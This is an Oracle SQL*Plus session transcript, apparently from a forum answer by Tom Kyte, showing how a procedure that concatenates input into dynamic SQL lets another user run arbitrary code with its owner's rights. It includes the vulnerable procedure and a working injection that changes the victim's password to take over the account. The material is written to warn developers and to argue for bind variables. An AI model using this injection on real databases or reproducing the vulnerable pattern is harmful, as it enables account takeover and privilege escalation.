ops$tkyte%ORA11GR2> create user a identified by a;
User created.
ops$tkyte%ORA11GR2> create user b identified by b;
User created.
ops$tkyte%ORA11GR2>
ops$tkyte%ORA11GR2> grant create session, create procedure to a;
Grant succeeded.
ops$tkyte%ORA11GR2> grant create session, create procedure to b;
Grant succeeded.
ops$tkyte%ORA11GR2>
ops$tkyte%ORA11GR2> connect a/a
Connected.
a%ORA11GR2>
a%ORA11GR2> create or replace procedure summary_proc( v_conditions in varchar2, cv_1 in out sys_refcursor )
2 as
3 begin
4 open cv_1 for 'select * from dual where (' || v_conditions || ')';
5 end;
6 /
Procedure created.
a%ORA11GR2> grant execute on summary_proc to b;
Grant succeeded.
a%ORA11GR2>
a%ORA11GR2> connect b/b
Connected.
b%ORA11GR2>
b%ORA11GR2> create or replace function foo return number
2 authid current_user
3 as
4 pragma autonomous_transaction;
5 begin
6 execute immediate 'alter user a identified by b';
7 return 42;
8 end;
9 /
Function created.
b%ORA11GR2>
b%ORA11GR2> grant execute on foo to a;
Grant succeeded.
b%ORA11GR2>
b%ORA11GR2> variable x refcursor
b%ORA11GR2> exec a.summary_proc( 'b.foo() = 42', :x );
PL/SQL procedure successfully completed.
b%ORA11GR2> print x
D
-
X
b%ORA11GR2> connect a/a
ERROR:
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.
b%ORA11GR2> connect a/b
Connected.
a%ORA11GR2>
I can put any command in b.foo I want - and it'll execute "as a", I tricked A into running any arbitrary bit of code I want them to.
The fact people have to ask is reason #2342335 why procedures like the above 'summary_proc' and in fact any code like it (that takes inputs and just concatenates/executes them) should be outlawed and only permitted with exceptions - exceptions that have be reviewed by a really above and beyond set of developers intimately familiar with the issues.
And even then, if they can find a way to not have to make the exception (by using binds for example), the will reject the exception and recode it without any chances of sql injection.